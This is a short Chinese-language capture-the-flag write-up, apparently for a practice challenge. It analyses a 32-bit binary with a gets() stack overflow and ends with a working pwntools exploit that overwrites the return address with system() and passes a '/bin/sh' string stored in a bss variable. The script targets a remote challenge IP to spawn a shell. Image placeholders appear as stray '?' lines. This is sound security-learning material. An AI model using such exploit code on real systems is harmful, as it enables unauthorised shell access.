下载文件后,首先检查保护:
随后将文件拖入ida,查看源码,在hello函数中,发现了如下代码
首先用安全的fgets输入了一个变量,接着用不安全的gets接收了一个变量,在此处可以确认是栈溢出,且溢出点就在此处。
开始寻找利用方式,s到ebp的距离是0x26,所以需要填充0x26的垃圾数据到ebp,接着再填充0x4的垃圾数据(覆盖ebp)。
?
发现了system函数
还缺一个"/bin/sh"字符串,找遍了代码,没有发现,但是由于此前可以有一个自己的输入,保存在name变量上,即可以自己手动输入"/bin/sh",自此,设计栈结构为:
开始编写脚本:
from pwn import *
io = remote("111.200.241.244",52858)
#需要自己输入“/bin/sh”,而刚好有一个可以输入的地方,且保存位置在bss上
io.recvuntil("please tell me your name")
io.sendline("/bin/sh")
sys_addr = 0x8048420
bin_sh_addr = 0x804A080
#需要0x26 +0x4长度的垃圾数据来完成填充,返回地址上写system的地址
#随后4个字节时system的返回地址,随便填充4字节
#随后是system的参数,即/bin/sh的地址,存放在name变量上
payload = b'a' * (0x26 + 0x4) + p32(sys_addr) + b'a' * 4 + p32(bin_sh_addr)
#发送payload,覆盖seed
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()
?开始攻击:
?
|